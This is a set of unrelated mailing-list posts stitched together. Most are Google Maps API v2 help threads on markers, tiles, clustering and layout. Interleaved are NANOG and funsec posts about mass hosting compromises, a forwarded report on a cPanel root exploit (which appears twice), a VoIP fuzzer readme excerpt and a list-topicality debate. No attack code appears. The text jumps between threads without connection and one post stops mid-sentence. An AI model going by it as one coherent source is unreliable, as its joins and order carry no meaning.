Re: Move on map without losing markers?


Thanks, that got me through that step.

The next thing I am working on is having the the HTML info window open
when I move to that point. I tried adding
map.marker#id#.openInfoWindowTabsHtml(infoTabs#id#); to the onClick but
it doesn't fine the marker#id# because it was created in the onLoad
function?

Thanks,
Tom

Re: getTileUrl: blank gif/png or no file at all


Check out the "Bounds Checks" section in this tutorial:

http://www.econym.demon.co.uk/googlemaps/custommap.htm

Which uses a single grey tile for all out-of-bounds locations. There's
only one tile so it doesn't take up much disk space, and it gets cached
by the browser so it's fast.

Re: Simple, no shadow, no click, custom marker


Wasn't it BuckyE who wrote:

>map.addOverlay(new GMarker(point,icon,{clickable:false}));
>works! Incredible!

That's not the way to do it and only works due to an unlikely
coincidence.

The correct v2 syntax is
new GMarker(point, {icon:icon, clickable:false});

However GMarker also supports the v1 syntax so that it can be used in
compatibility mode
new GMarker(point, icon, true);

What's happening is that the API sees that you're using three parameters
and guesses that you're using v1 compatibility mode syntax. When it
tests the third parameter, it sees an anonymous object which is
considered "true". It's not looking at the information inside that
object.

If you had written
new GMarker(point, icon, {draggable:true})
or
new GMarker(point, icon, "My marker")
then that would also have created an unclickable marker and ignored the
contents of the third parameter.

Re: Embeding a Google Map in a website

no problem man..

another advice.. perhaps you can consider searching for CMS that supports google maps. I don't know of any yet, but maybe there is one. You should also try to check out joomla, it's a CMS, and maybe there are plugins for it.

Re: Clusterer GMap2


Ok Here's an example as best I can create using the Kiss method.
http://whatsitworth.com.au/test.cfm

Couple of things I notice:
1/ If my the map default is loaded at a zoom level of 3 I don't see
any clusterer icons at all and my initial loaded icons remain on screen
after zooming.
2/ When a zoom of 5 is selected, I don't see any clusterer icons until
I have "moved" the map a coupla times. (it would appear that I can only
see any clusters at zoom 5 and have moved the map. None on all other
zoom levels. this must be me somehow? can't be right)
3/ When the clusters Do appear, some are Behind other icons (not sure
this is a problem other than I would like to have settings that enable
a cluster icon to engulf any other normal icons that are near it).

Hi John, thanks for the wise words.

I believe our biggest problem is that "on topic" is not defined. Many here
see different issues as operational to them while a few here always yell
and scream the minute someone posts that interest.

An off-topic list won't help much, if we can't decide, by poll or
arbitrary choice, what actually is on-topic. That can later on be
followed.

Lists evolve, readerships change, and subjects of interest change. But
without certain guidelines, I don't see why any crowd should be silenced
or any minority with loud voices should silence them.

If such a concensus/decision is reached, it will be followed to the letter
with the full backing of whoever needs to back itup.

Thanks,

Gadi.

shared hosting and attacks [FWD: [funsec] HostGator: cPanel Security Hole Exploited in Mass Hack]

Hi, the following post is a forward of an email by Fergie to funsec. This
story by itself is not relevant to NANOG, but it does illustrate a problem
nearly all of us have been facing. Mass exploitation of servers in our
nets, colos and hosting farms.

Nearly ever (relevant, not say, just a transit one) ISP I spoke to
globally has this problem.

With thousands of sites on every server and virtual machines everywhere,
all it takes is one insecure web application such as xxxBB or PHPxx for
the server to be remote accessed, and for a remote connect-back shell to
be installed. The rest is history.

This is often soon followed with masses of defacements, spam, bots, ddos,
etc.

We all (well, never say all, every, never, ever, etc.), many of us face
this. What solutions have you found?

Some solutions I heard used, or utilized:
1. Remote scanning of web servers.
2. Much stronger security enforcement on servers.
3. "Quietly patching" user web applications without permission.
4. JGH - Just getting hacked.

What have you encountered? What have you done, sorry, heard of someone
else do, to combat this very difficult problem on your networks?

The whole business of this hosting is the low cost, and everyone wastes
countless man hours on killing fires.

This is not about BGP, but it is an operational problem that bugs us,
operators.

Thanks,

Gadi.

Subject: [funsec] HostGator: cPanel Security Hole Exploited in Mass Hack

Via Netcraft.

[snip]

HostGator says hackers compromised its servers using a previously
unknown security hole in cPanel, the control panel software that is
widely used by hosting providers. "I can tell you with all accuracy
that this is definitely due to a cPanel exploit that provides root
access and all cPanel servers are affected," said HostGator system
administrator Tim Greer. "This issue affects all versions of cPanel,
from what I can tell, from years ago to the current releases, including
Stable, Release, Current and Edge."

cPanel has just released a fix. "Running /scripts/upcp will fix the
vulnerability in all builds," cPanel said in a message on its user
forums. "Please note that this is a local exploit which requires access
to a cPanel account. ... If you believe you have been exploited through
this vulnerability, you are welcome to submit a support request for
assistance."

Hackers gained access to HostGator's servers late Thursday and began
redirecting customer sites to outside web pages that exploit an
unpatched VML security hole in Internet Explorer to infect web surfers
with trojans. The existence of the new "0-day" exploit of cPanel leaves
a large number of hosting companies vulnerable to similar attacks until
they install the patch. The riusk is mitigated somewhat by the fact
that it is a local exploit, meaning any attack on a host must be
launched from an existing account with cPanel access.

HostGator site owners said iframe code inserted into their web pages
was redirecting users to the malware-laden pages. Company staff made
several efforts to reconfigure servers on Friday, only to have the
exploits recur. By early Saturday morning, HostGator managers were
assuring users that the cause of the redirections had been isolated,
and was due to a new exploit targeting cPanel.

[Full-disclosure] Cisco 7905 VoIP phone crashing from dsniff arpspoof?


In the readme in the ohrwurm tarball from Matthius Wenzel's site:
http://mazzoo.de/blog/2006/08/25#ohrwurm

<snip>

SUCCESS
~~~~~~~
As of August 2006 ohrwurm broke the following applications/transports:
- linphonec 1.10 / iLBC (stops sending RTP, no crash)
- linphonec 1.10 / iLBC (re-negotiates PCMA via SIP, but continues sending
iLBC)
- Fritz! box 7050 / iLBC (stops sending RTP, no crash)
- Cisco 7905 crashes with arpspoof alone :(

Re: Clusterer GMap2


Thanx Mike,

Though this example breaks when you zoom out 2-3 times. Clusters are
lost and hundreds of normal icons appear.
Is this a known issue? Is it fixable? What could it be that prevents
clusterer from doing it's job when zooming further out?

Cheers again

Re: getTileUrl: blank gif/png or no file at all


.. to answer my own question: it seems like IE doesn't like the files
not to be present, and makes a small red 'x' in the upper left corner
of each tile which is not found in GoogleMaps . So it does not seem
viable not to generate files here - guess I have to use softlinks....

getTileUrl: blank gif/png or no file at all


Hi,

I'm using the GTileLayer to overlay my own custom markers/points on
the google maps, using a construct of type

detailLayer.getTileUrl = function(tile, zoom){
tileURL = "tile_"+zoom+"_"+tile.x+"_"+tile.y+".gif";
return tileURL;
};

My question: Does it take more computing power/bandwidth etc. to just
not generate the files for which there are no markers, or should I make
blank gif's for all these tiles? It definately takes far less disk
space if I do not have to make a file for each blank tile (I will of
course use softlinks, but anyway - many files and softlinks) - and it
also works in practice. I am just curious about how to minimize server
load and lag for the user.

I know that I can help a bit with "GLatLngBounds", to give the bounds,
but still I will save a lot of space.

Best regards,
Jan

[funsec] MSN (or should that be "msn") goofs again


Hi all,

I've just posted this to Full-Disclosure, but it's apposite here and I
think some of you now don't track F-D...

Read this from the Kaspersky Analysts' Diary:

http://www.viruslist.com/en/weblog?weblogid=199354341

Weep, laugh, /., etc as is your wont...

Given the "obvious fix" to folk capable of making such a mistake in the

first place, one might almost expect that, once it's fixed, "pIF" or
"Pif" or "PiF" or "pIf", etc would still work.

It's a good thing that Michael Howard and the boys have been wrastling
security and code-quality concepts into the softies for most of this
century -- imagine how bad things might be if they hadn't a been...

Auto width not working in Firefox


Hi Everyone

I have an Google Map with no width set so it will fill the <div>
however it expands to cover another <div> that holds the legend next to
it in Firefox. Dispalys perfectly in IE.

Here is my map:
http://www.kinross.jumbahost.com/map.php

The div for the legend and map are as follows:

#legend {
float: left;
width:75px;
height:600px;
padding: 0px;
background-color: #F5f7f7;
border-left: 1px solid #cccccc;
position: relative;
font-size:small
}
#map {
height:600px;
}
Thanks for any assistance.
P.S. Thanks for Mike and his homepage

[offtopic] Topicality debate [my 2 bits]

I hadn't checked this list for a week or so, and today was met with this
deluge of posts regarding topicality [again], in response, might I offer a
couple of stray thoughts?
The debate and subsequent infighting has become far more disruptive now,
then the occasional offtopic post. It is a simple thing to filter a
particular member, but near impossible to filter the ensuing fallout from an
'offtopic' thread.
I can think of a couple of ways to make things a little better for the
innocent bystanders amoung us:
-Self Moderating Approach
Grey Areas. If you think your post could be considered off topic by some,
simply prefix the subject with '[offtopic]', then it is a simple thing to
filter, and your post is far less likely to be met with a negative response.
Clarify what -is- on topic. Are worms/virii on topic? Possibly.. If: it is
SANS top 10, and an emerging issue with potential to dramatically amplify
traffic flow, Then: I want to hear about it, Else: [offtopic]. Are botnets
offtopic? I would say yes, there are better and dedicated venues for those
discussions. Are these endless debates about what is offtopic subject matter
themselves 'offtopic', clearly they are.. prefix please.
A definitive set of posting guidelines, one that leaves litlle to individual
interpretation could be established, leave less up to the 'debateniqs' to
rant about, by creating a clear and concise set of acceptable subject matter
rules.
There is the issue of sustaining readership. If window of acceptable subject
matter is too narrow, appeal will decline, and with it some of the
readership that we need to remain active will leave the list, hence we need
some [reasonable] measure of flexibility allowed for in guidelines, [think:
discretion]. As for issues that are clearly outside definitive guidelines
but still of general interest, maybe a relaxed charter on Fridays? I rather
enjoy Fergie's article references, just make sure to use the [offtopic]
thingie.
-Moderated Approach
Create an nanogofftopic@ to give a vent to members. If a post is clearly

Re: Markers showing in Firefox but not IE


Oh, so the problem is that the icons are PNG rather than transparent
GIFs? The Javascript console in Firefox doesn't show any errors with
the map.

[funsec] HostGator: cPanel Security Hole Exploited in Mass Hack


Via Netcraft.

[snip]

HostGator says hackers compromised its servers using a previously
unknown security hole in cPanel, the control panel software that is
widely used by hosting providers. "I can tell you with all accuracy
that this is definitely due to a cPanel exploit that provides root
access and all cPanel servers are affected," said HostGator system
administrator Tim Greer. "This issue affects all versions of cPanel,
from what I can tell, from years ago to the current releases, including
Stable, Release, Current and Edge."

cPanel has just released a fix. "Running /scripts/upcp will fix the
vulnerability in all builds," cPanel said in a message on its user
forums. "Please note that this is a local exploit which requires access
to a cPanel account. ... If you believe you have been exploited through
this vulnerability, you are welcome to submit a support request for
assistance."

Hackers gained access to HostGator's servers late Thursday and began
redirecting customer sites to outside web pages that exploit an
unpatched VML security hole in Internet Explorer to infect web surfers
with trojans. The existence of the new "0-day" exploit of cPanel leaves
a large number of hosting companies vulnerable to similar attacks until
they install the patch. The riusk is mitigated somewhat by the fact
that it is a local exploit, meaning any attack on a host must be
launched from an existing account with cPanel access.

HostGator site owners said iframe code inserted into their web pages
was redirecting users to the malware-laden pages. Company staff made
several efforts to reconfigure servers on Friday, only to have the
exploits recur. By early Saturday morning, HostGator managers were
assuring users that the cause of the redirections had been isolated,
and was due to a new exploit targeting cPanel.

Re: USA Street Updates?


Do you mean Google Maps or the API maps? They're different.

It's possible that TeleAtlas (used in the API maps) hasn't mapped your
street yet; or that Google hasn't received the latest TeleAtlas maps
yet; or if they have, they haven't made them available.

The same goes for NavTeq and Google Maps.

You can try http://maps.google.com/support/bin/request.py but I
wouldn't hold your breath.

Re: Embeding a Google Map in a website


Adding controls is described in the documentation:
http://www.google.com/apis/maps/documentation/#Adding_Controls_to_the_Map
which also shows a map.setCenter() line to centre the map on a
particular geographic location at a certain zoom.

Re: Simple, no shadow, no click, custom marker


Thanks, guys! This is great. OK, given that in the code block

var point = new GLatLng(41.9085372185006,12.478408813476562);
var icon = new GIcon();
icon.image = "iv_camp_marz.png";
icon.iconSize = new GSize(67,49);
icon.iconAnchor = new GPoint(35,0);
map.addOverlay(new GMarker(point,icon));

there's only one line (i.e., for iconsize) that is absolutely
positively going to remain constant, over a total of 22 markers, it
doesn't seem necessary to create a separate variable to hold it. More
elegant, yes, but just for now I'll skip it. BUT...

Marcelo's "clickable:false" *really* needs to get in there. I tried
map.addOverlay(new GMarker(point,icon,clickable:false)); as an
alternative last line, and it broke my code. It took me a while to
realize he used braces around the "declaration."

map.addOverlay(new GMarker(point,icon,{clickable:false}));
works! Incredible!

Bizarre Drawing Problems


Hi,

I'm trying to make some simple code, almost totally ripped from the API
examples, work. It sort of does, but in unexpected ways and not
uniformly across IE and Firefox. I excerpt the JavaScript below.

What is supposed to happen on page load is a dialog box appears and
accepts an address input by the user. If the address is valid from the
geocoder's perspective, it centers the map on the point returned by the
geocoder, and then proceeds to load a file called my-addr.xml that
contains 6 additional points at which I'd like markers placed.

With the code copied below, both IE and Firefox properly execute BLOCK
1, which is to say they accept the address and center the map properly.
But while BLOCK 3 is reached, which in turn calls BLOCK 2, nothing
seems to happen (placing "alerts" shows that the code fails somewhere
in BLOCK 2).

Now's here's the weird part... If I add this line to BLOCK 2 after the
var declaration:

alert("I've made it to BLOCK 2!");

The markers DO show up in IE; they continue to fail in FireFox.
Furthermore, if I remove this code:

var my_geocoder = new GClientGeocoder();

my_geocoder.getLatLng(my_address, function (point) {
if (!point) {
alert(my_address + " not found");
} else {
map.setCenter(point, 11);
}
} );

and simply use a hard-coded point to center the map, e.g.:

map.setCenter(new GLatLng(40.663619,-73.977697), 13);

then drawing the markers works fine in both browsers!

Any ideas what might be going on?

My code:

var my_address = prompt("Please enter your address");
var my_geocoder = new GClientGeocoder();

function load() {

// BLOCK 1

if (GBrowserIsCompatible()) {
var map = new GMap2(document.getElementById("map"));
map.addControl(new GLargeMapControl());
map.addControl(new GMapTypeControl());
my_geocoder.getLatLng(my_address, function (point) {
if (!point) {
alert(my_address + " not found");
} else {
map.setCenter(point, 11);
}
} );

// BLOCK 2

function createMarker(point, dest) {
var marker = new GMarker(point);
GEvent.addListener(marker, "click", function() {
marker.openInfoWindow(dest);
});
return marker;
}

// BLOCK 3

GDownloadUrl("my-addrs.xml", function(data, responseCode) {
var xml = GXml.parse(data);
var markers =
xml.documentElement.getElementsByTagName("marker");
for (var i = 0; i < markers.length; i++) {
var point = new
GLatLng(parseFloat(markers[i].getAttribute("lat")),parseFloat(markers[i].getAttribute("lng")));
var dest = markers[i].getAttribute("name");
map.addOverlay(createMarker(point, dest));
}
});
} else {
document.write("Your browser is weaksauce.");
}
}

Allowing the user to define the mapCenter and Zoom levels


Check this cool site out:

http://www.sergeychernyshev.com/maps.html#40.01446846627284,-105.25348663330078,6,0

If you click on the Yahoo map side and drag it around you can see the
coordinates change in real time. And you can see from the URL parameter
at the end "6" is the zoom level.

Is it possible to add a "Set Map Center and Zoom" button below my
own Google map so the user can set these two parameters to allow them
to fit their push pins on the map the way they like?

Re: Embeding a Google Map in a website

Hi, I just started trying the Google Map and I got a API KEY and all
that, so I get an example for a map that shows Palo Alto, so I was
wondering if someone knew how to change is so it shows the address in
my website and how to add controls. I am not very familiar with the
computer language, but I was trying to do this for a friend. Hopefully
someone here can give me a hand. In advanced I appreciate your help.
Thank you


if you want to use google's API.. I suggest you start learning the computer language. You should aslo be able to learn javascript , so you'll know how to properly use API's of any kind.

Hi Marta

For Switzerland you can buy the data at http://www.geopost.ch/ or look
at their partners if you only want to geocode some addresses.

If postal code accuracy is sufficient for you, you can look at the
geonames webservice :
http://www.geonames.org/export/free-geocoding.html

Hope this helps.
